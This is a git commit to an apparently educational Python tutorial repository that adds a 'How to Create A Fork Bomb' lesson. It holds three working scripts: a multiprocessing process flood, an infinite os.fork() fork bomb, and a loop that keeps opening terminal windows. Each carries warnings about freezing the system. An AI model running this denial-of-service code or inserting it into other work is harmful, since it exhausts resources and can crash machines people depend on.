add fork bomb tutorial

x4nth055 · x4nth055 · commit 9e6057883f23 · 2024-03-04T13:43:22.000+01:00
diff --git a/README.md b/README.md
@@ -58,6 +58,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
     - [How to Implement the Vigenère Cipher in Python](https://thepythoncode.com/article/implementing-the-vigenere-cipher-in-python). ([code](ethical-hacking/implement-vigenere-cipher))
     - [How to Generate Fake User Data in Python](https://thepythoncode.com/article/generate-fake-user-data-in-python). ([code](ethical-hacking/fake-user-data-generator))
     - [Bluetooth Device Scanning in Python](https://thepythoncode.com/article/build-a-bluetooth-scanner-in-python). ([code](ethical-hacking/bluetooth-scanner))
+    - [How to Create A Fork Bomb in Python](https://thepythoncode.com/article/make-a-fork-bomb-in-python). ([code](ethical-hacking/fork-bomb))
 
 - ### [Machine Learning](https://www.thepythoncode.com/topic/machine-learning)
     - ### [Natural Language Processing](https://www.thepythoncode.com/topic/nlp)
diff --git a/ethical-hacking/fork-bomb/README.md b/ethical-hacking/fork-bomb/README.md
@@ -0,0 +1 @@
+# [How to Create A Fork Bomb in Python](https://thepythoncode.com/article/make-a-fork-bomb-in-python)
diff --git a/ethical-hacking/fork-bomb/fork_bomb.py b/ethical-hacking/fork-bomb/fork_bomb.py
@@ -0,0 +1,45 @@
+"""Using `multiprocessing` module to spawn processes as a cross-platform fork bomb."""
+# Import necessary modules.
+from multiprocessing import Process, cpu_count
+import time
+
+# Define a function named counter that takes a number parameter.
+def counter(number):
+    # Run a loop until number reaches 0.
+    while number > 0:
+        number -= 1
+        # Introduce a sleep of 100 ms to intentionally slow down the loop.
+        time.sleep(0.1)  # Adjust sleep time as needed to make it slower.
+
+
+def spawn_processes(num_processes):
+    # Create a list of Process instances, each targeting the counter function.
+    processes = [Process(target=counter, args=(1000,)) for _ in range(num_processes)]
+    # Start each process.
+    for process in processes:
+        process.start()
+        print(f"Started process {process.pid}.")
+    # Wait for each process to finish before moving on.
+    for process in processes:
+        process.join()
+        print(f"Process {process.pid} has finished.")
+
+# Define the main function.
+def main():
+    # Get the number of logical processors on the system.
+    num_processors = cpu_count()
+    # Create a large number of processes (num_processors * 200).
+    num_processes = num_processors * 200 # Adjust the number of processes to spawn as needed.
+    print(f"Number of logical processors: {num_processors}")
+    print(f"Creating {num_processes} processes.")
+    print("Warning: This will consume a lot of system resources, and potentially freeze your PC, make sure to adjust the number of processes and sleep seconds as needed.")
+    # Run an infinite loop if you want.
+    # while True:
+    #     spawn_processes(num_processes)
+    # For demonstration purposes, run the function once and monitor the task manager.
+    spawn_processes(num_processes)
+
+
+# Execute the main function.
+if __name__ == "__main__":
+    main()
diff --git a/ethical-hacking/fork-bomb/fork_bomb_simplest.py b/ethical-hacking/fork-bomb/fork_bomb_simplest.py
@@ -0,0 +1,9 @@
+"""Simplest form of a fork bomb. It creates a new process in an infinite loop using os.fork().
+It only works on Unix-based systems, and it will consume all system resources, potentially freezing the system.
+Be careful when running this code."""
+import os
+# import time
+
+while True:
+    os.fork()
+    # time.sleep(0.5)
diff --git a/ethical-hacking/fork-bomb/terminal_spawn_bomb.py b/ethical-hacking/fork-bomb/terminal_spawn_bomb.py
@@ -0,0 +1,38 @@
+"""A terminal spawn bomb that infinitely opens a new terminal window on the host system.
+Be careful when running this script, as it overwhelms the system with terminal windows.
+The time.sleep() is introduced to test the script."""
+import os
+import subprocess
+import time
+
+# List of common terminal emulators
+terminal_emulators = [
+    "gnome-terminal",  # GNOME
+    "konsole",         # KDE
+    "xfce4-terminal",  # XFCE
+    "lxterminal",      # LXDE
+    "mate-terminal",   # MATE
+    "terminator",
+    "xterm",
+    "urxvt"
+]
+
+def open_terminal():
+    for emulator in terminal_emulators:
+        try:
+            if subprocess.call(["which", emulator], stdout=subprocess.DEVNULL) == 0:
+                os.system(f"{emulator} &")
+                return True
+        except Exception as e:
+            continue
+    print("No known terminal emulator found!")
+    return False
+
+while True:
+    if os.name == "nt":
+        os.system("start cmd")
+    else:
+        if not open_terminal():
+            break  # Break the loop if no terminal emulator is found
+    # Introduce a sleep of 500 ms to intentionally slow down the loop so you can stop the script.
+    time.sleep(0.5)  # Adjust sleep time as needed to make it slower.

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